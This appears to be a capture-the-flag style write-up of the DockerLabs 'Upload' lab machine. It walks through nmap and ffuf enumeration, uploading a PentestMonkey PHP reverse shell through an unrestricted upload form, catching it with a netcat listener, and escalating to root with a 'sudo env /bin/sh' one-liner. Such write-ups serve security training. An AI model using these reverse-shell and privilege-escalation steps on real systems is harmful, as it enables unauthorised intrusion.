> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/upload.md). # Upload Unrestricted file upload enabled PHP reverse shell, and root was obtained via sudo env. ## 1 - Reconnaissance We begin with a fast Nmap scan to identify open ports: `nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5` **Result: ports 80 is open** ## 2 - Enumeration Now we run a service/version detection scan, targeting only the open ports we found on the previous scan: `nmap 172.17.0.2 -p ports -sS -Pn -sCV`

(Upload) Targeted Port Scan

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`: ``` ffuf-dir () { ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt } ``` we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

(Upload) FFUF Routes

## 3 - Exploitation Accessing /upload.php we see a file upload, with no extension restriction, so we can upload a basic PHP reverse shell, as the PentestMonkey one. After browsing /uploads/revshell.php, we will activate it, and we can catch it with `nc -lvnp 3110`.

(Upload) Reverse Shell Uploaded

## 4 - Privilege Escalation After running `sudo -l` we can see that user `www-data` has sudo permissions as `root` on `/usr/bin/env`. Using this GTFOBins one-liner we can spawn a `root` shell.: ``` sudo env /bin/sh ```

(Upload) Root Shell

## 5 - Summary **Initial Access:**\ Directory enumeration revealed `/upload.php`. The upload function allowed unrestricted file types, so a PHP reverse shell was uploaded and executed, granting access as `www-data`. **Exploitation:**\ Gained RCE by browsing the uploaded reverse shell and catching the connection with netcat. **Privilege Escalation:**\ `www-data` had sudo rights on `/usr/bin/env`. Abusing it with GTFOBins (`sudo env /bin/sh`) provided a root shell.